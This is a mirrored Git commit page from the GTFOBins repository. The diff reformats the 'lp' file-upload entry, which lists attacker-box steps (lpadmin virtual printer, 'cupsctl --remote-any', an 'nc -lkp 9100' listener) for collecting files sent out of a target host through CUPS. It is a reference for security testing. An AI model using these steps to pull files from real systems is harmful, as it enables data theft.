mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Fix lp
This commit is contained in:
parent
a01a420e43
commit
4db207dac9
@ -1,12 +1,13 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
file-upload:
|
file-upload:
|
||||||
- description: To collect the file run the following on the attacker box (this requires `cups` to be installed):
|
- description: |
|
||||||
|
To collect the file run the following on the attacker box (this requires `cups` to be installed):
|
||||||
|
|
||||||
Run `lpadmin -p printer -v socket://localhost -E` to create a virtual printer.
|
1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer;
|
||||||
Run `lpadmin -d printer` to set the new printer as default.
|
2. `lpadmin -d printer` to set the new printer as default;
|
||||||
Run `cupsctl --remote-any` to enable printing from the Internet.
|
3. `cupsctl --remote-any` to enable printing from the Internet;
|
||||||
Run `nc -lkp 9100`.
|
4. `nc -lkp 9100` to receive the file.
|
||||||
|
|
||||||
Send a local file to a CUPS server.
|
Send a local file to a CUPS server.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user